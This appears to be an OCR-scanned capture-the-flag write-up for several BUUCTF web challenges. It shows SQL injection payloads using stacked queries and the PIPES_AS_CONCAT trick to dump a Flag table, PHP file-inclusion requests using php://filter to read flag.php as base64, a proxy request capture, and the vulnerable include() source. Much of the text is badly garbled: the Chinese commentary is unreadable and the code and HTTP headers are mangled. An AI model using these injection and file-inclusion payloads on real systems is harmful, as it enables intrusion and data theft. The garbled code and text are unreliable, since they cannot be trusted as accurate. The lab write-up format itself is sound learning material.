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C A FZ=% | 4b1829a7-dc26-4bfd-8d1c-7133fdff17f9.node3.buuoj.cn

Give me your flag, | will tell you if the flag is right.
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Give me your flag, | will tell you if the flag is right.
1or1=14# || #1232
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Give me your flag, | will tell you if the flag is right.

(=3

Nonono.
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' or (ascii(substr(database(),1,1 32
BEATHEN

Give me your flag, | will tell you if the flag is right.
| || =52

Nonono.
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show tables

show databases

Give me your flag, | will tell you if the flag is right.
‘1;show tables# | 8273

Give me your flag, | will tell you if the flag is right.
| || #2352

Array ( [0] => 1) Array ( [0] => Flag )

Give me your flag, | will tell you if the flag is right.
[ 1:show databased# || 1232

Give me your flag, | will tell you if the flag is right.
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Array ([0] => 1) Array ( [0] => ctf) Array ([0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test)
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$sql .$post
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select *,1 from Flag
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1 sql_mode=PIPES_AS_CONCAT 1

fEoracle B4 SCHF BT * |7 RSEIFHF B PhE.
{HEmysql BRE A . TEFEmysql KIsql_mode
#: pipes_as_concat Ks:Boracle —LE I .
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< C A AZ%£ | 403fflac-ae7e-4175-a2d9-0c531760876b.node3.buuoj.cn/?file=flag.php

Can you find out the flag?

BATMBURLRILZNMB BRI S ETRE, HERMNZXANARKHZflag.phpRIICLEET T, ®FHiflag, EAVEMZA
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?file=php://filter/read=convert.base64-encode/resource=flag.php

<« C A =2 | 403fflac-ae7e-4175-a2d9-0c531760876b.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php

PD9waHAKZWNobyAiQ2FulHlvdSBmaW5klG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NzkxOTI4YmItYzQ2YS0OMGYS5LWFmYzItOTdmMjQ2Y)BjNjdmfQo=

BESC BASES4
<7php PD9waHAKZWNobyAIQ2FulHIvdS BmaWskiGo1dCB0aGUgZmxhZz8i
echo "Can you find out the flag?”; BASE644563 ¥ OwovL2ZsYWd7NzkxOTI4YmitYzQ2Y S00MGYSLWFmYzItOTdmMjQ

Iiflag{791928bb-c46a-4019-afc2-97f246b0c6 71} 2Y|BjNjdmfQo=
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Request Response
j Raw I Params T Headers T Hex 1 j Raw I Headers I Hex I HTML T Render 1
GET /action.php HTTE/L.L ] HTTE/ L.l 302 Found i
Host: P SEerver: openresty -
cT73b1575-dShd-47al-a0ld-kh7bh7aft50e05. node3 . buuoj.cn Date: Sun, Of Dec Z0Z0 04:35:00 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wined; xe4; Content-Type: text/html; charset=UTF-2
rv:83.0) Gecko/20100101 Firefox/83.0 Content-Length: &3
Aocept: Connection: keep-alive
text/html, application/xhtml+xml, application/=xml; q=0.5, im Location: =nd.php
age/webp, */*;q=0.8 ¥-Fowsred-By: PHF/7.3.11
Aocept-Language:
zh-CH, 2h: q=0.8, zh-TW;q=0.7, sh-HE; ¢=0.5,en-Us;qg=0.3,en;q <!DOCTYPE html>
=0.2
Aoccept—-Encoding: gzip, deflate <htmls>
Connection: keep-alive <
Feferer: secr3t.php
http://c7ib1575-dSbd-4T7al-a0ld-bh7h7af50£05. nodes3 .buuc] . -—=
cnflrchive_room.php </html>
Cookie:
UM _distinctid=175c5ac53652be-0£4405€f3casab l8-4c3f2678-1
44000-175c5ac5367568e
Upgrade-Insecure-Requests: 1
e e
v ¥
? < + = Type a search 0 matches ? < + > Type a search t 0 matches
Done 270 bytes | 43 miliis

RIAEAphpHIZFRBEN .

< C A &% | 73b1575-d9bd-47a1-a01d-bb7b7af50605.node3.buuoj.cn/secr3t.php

<himl >
{titlersecret</titled
<{meta charset="UTF-3">
<php
highlight_file(_ FILE_ J;
error_reporting (0]
$£ile=3_GET[ file’ ];
ifistrstr(3file, .. /") | |stristr($file, “tp")||stristridfile, “input”) | |stristr(§file, “data™)) {
echo “Dh no!”;
exit();
}
include ($£ile);
fflagiTE T flaz. php 2
Py
<html >

BB, FARAETEet XHERRIHN, RIEEARLER

<« C A T2 | 73b1575-d9bd-47a1-a01d-bb7b7af50605.node3.buucj.cn/secr3t.php?file=php:/filter/read=convert.base64-encode/resource=flag.php B & @ * e :

<html>
<titledsecretd/title>
<meta charset="TF-8">
<ophp
highlight_file(_FILE_J;
error_reporting (0 ;
F£11e=3_GET[ file’ ].
if(strstr($file, .. /") | |stristr (3file, “tp”)||stristr($file, “input”) | [stristr ($file, “data”)) [
echo “Oh mo!”;
exit();

3
_include(§tile)
[/11aglE T flag. phpE
k23

</htmd >
PCFETONUWVBFIGhObWw+Cgo8aHRtb D4KCiAgICA8aGVhZD4KICAgICAgICA8bWVOYSBjaGFyc2VOPS)1dGYtOCI+CiAgICAgICAgPHRpdGxIPkZMQUeBL3RpdGxIPgogICAgPCI0ZWFkPGoKICAgI Dxikb2R5II
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<IDOCTYPE html> P PCFETONU\
BASEG4%RES » gICAQICABBWY
<html= = dGxIPkZMQUcELIRpdGxIPg
SE64#ES NOeWxIPSJIYWNrZ3JvdW5kLV
<head= Ynl+PGJyPjxicj48Ynl+CiAgICAgIC

=meta charset="utf-§"> SImb250LWZhbWiseTp2ZXJk
=title=FLAG=/itle= WduOmNIbnRIcjsiPUWViuWTi L S hu+ug W
</head= Pr+a¥r+5900eci+54 QalkVFBUXS5+fjwvaDE+PGJyPjxicj48Ynl+C

IAgICAQICAQCIAQICAQICAQPHAQCIR5bGUSIMZvbnQtZmFtaWx50m

<body style="background-color:black;"=<br=<br=<br=<br=<br=<br= FyaWFsO2NvbG9yOnJIZDimb250LXNpemUBM|BweDI0ZXhOLWFsa
WduOmNIbnRIcjsiPgoglCAgICAgICAgICASP3BocAogICAgICAgICAg!
=h1 style="font-family:verdana;colorred:text-align:center;"=015! CAgICAgZWNobyAIS0IRSbCx5Zyo6L+Z26YeMI|sKICA glCAgICAg

{REEEET! ><pr=< CAgICRmbGFnID0gJ2ZsY 12E2N2E3MmItMzZkMS00ZD1zLWI13
MzYtNzgyZ DFIOWUxM]RKFS AgICAgICAgICAGICAgQICAKc2VicmV
<p style="font-family:arial;color:red;font-size:20px;text- 0ID0gJ2py NX0x1eXVhbl93NG50c19hX2cxckimemkzbmQnCiAg|
align-center;"> quluﬁjluH:]lD8+C|ﬁ:]|Ur\l gPC9wPgoglCAgPCYib2R5PgoKPCY
=?php odG1sPgo=
echo "ESEEIXE"

$flag = 'flag{3a67a72b-36d1-4d23-b736-782d1e9e124d})
$secret = 'jiAng_Luyuan_w4nts_a_g1rlfri3nd'

Hg|iXflagst iR T, NERFFMAKARRRE, RRTEEARDRT —MMIITIT.

CcC o O file:///E:/3z4£/OneDrive/SEE/FiESASTRS html W L IND © 0 6 0O=E@m =

BRAMRREEBEFFERNL, 2TRAT

[ zows x | & eagmas x | @ memse x | [@ suctF20r X | [@ buuafisue x | [@ BUUCTF-& X @ FLAG x  [@ sxm-cso x | @ BuucTF X | @ secret x| + - X
« C @ ff | E/S/OneDrive/ ST/ html * O » O :
[R (] | FElements Console Sources Network Performance » | &8 i X
brs T R
br
¥<p style="font-family:arialjcolor:red;font-size:20px;text-align: center;
<1--2php
echo "HHAEXE";
$flag - 'flag{e235e5ab-7387-4575-bbll-@ffcb713F412}";
$secret - 'jiAng_Luyuan_wdnts_a_glrIfri3nd’
2-->
/p
body
html
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background-color: Mblack;

body {
display: block;
margin: » 8px;

margin

padding 1
| -965.600 x 271.675 |- -
X

What's New X

Highlights from the Chrome 87 update

New CSS Grid debugging tools "-

New WebAuthn tab i\%
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HEERBEFLAG, EAREEE

LB S KRR A MR, BIXFAKPARREMHR, RERMBEIIATT, FBRENLAFLAG, $ET—EIF5%, BREBMHTIEM
tEEEBILER, HOWESI.
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